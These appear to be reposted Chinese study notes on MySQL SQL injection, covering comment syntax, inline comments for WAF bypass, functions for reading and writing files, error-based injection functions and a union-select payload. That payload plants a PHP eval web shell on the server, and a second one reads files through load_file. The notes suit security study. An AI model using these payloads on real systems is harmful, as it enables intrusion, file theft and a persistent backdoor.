SQL注入笔记

SQL注释

  单行注释  #后面直接加内容

        --后面必须加空格

  多行注释  /**/中间可跨行

  -- + 会删除

  内联注释是:

MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /*! ... */ 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。  /*50001 */表示数据库版本>=5.00.01时中间的语句才会执行。  在SQL注入中,内联注释常用来绕过waf。

  /*!12345user()*/

  服务器端连接数据库所使用的用户。

  mysql 能16进制识别

execute('sql语句')  //execute函数中可以写sql语句,且为字符串,那么就可以传入一些变形字符串来绕过waf
union select 1,2,3 只显示一个2 说明只用到了这个字段

SQL注入中一些常用的MySQL函数/语句:

  user()          当前用户

  database()          当前数据库

  current_user()       当前用户名(用于查看权限)

  version()         数据库的版本

  @@datadir        数据库的路径

  load_file()          读文件操作

  into outfile() /into dumpfile   写文件操作

SQL注入读写文件的根本条件: 

  1. 数据库允许导入导出(secure_file_priv)

  2. 当前用户用户文件操作权限(File_priv)

   #查看数据库是否开启导入导出

      show variables like "secure_file_priv";

   #查看当前数据库用户

      select current_user();

    #查看当前用户是否具有文件读写权限

      select File_priv from mysql.user where user='root' and host='localhost';

字符串连接函数

    concat(str1,str2)函数   直接连接

    group_concat(str1,str2)函数   使用逗号做为分隔符

    concat_ws(sep,str1,str2)函数  使用第一个参数做为分隔符

基于报错的注入:

  1.updatexml函数

  2.xpath形式

    15种报错函数:

      floor()                  multipolygon()

      updatexml()                linestring()

      extractvalue()              ST_LatFromGeoHash()

      exp()                   ST_LongFromGeoHash()

      GeometryCollection()          GTID_SUBSET()

      polygon()                 GTID_SUBTRACT()

      mutipoint()                ST_PointFromGenHash()

      multionlinestring()    

sql注入读取文件:

    写入文件。url')) union select 1,'2','<?php @eval($_POST[a]);?>' into outfile 'c:/www/2.php'%23虽然提示错误,但还是写入进去了。

    读取文件。url')) union select 1,2,load_file("C:/WWW/2.php") into outfile 'C:/WWW/3.php'%23虽然提示错误,但还是可以读取。

      file://c:/boot.ini

  不会报错,但是页面不正常,可以判断是bool型注入

 

猜你喜欢

转载自www.cnblogs.com/pangya/p/8993971.html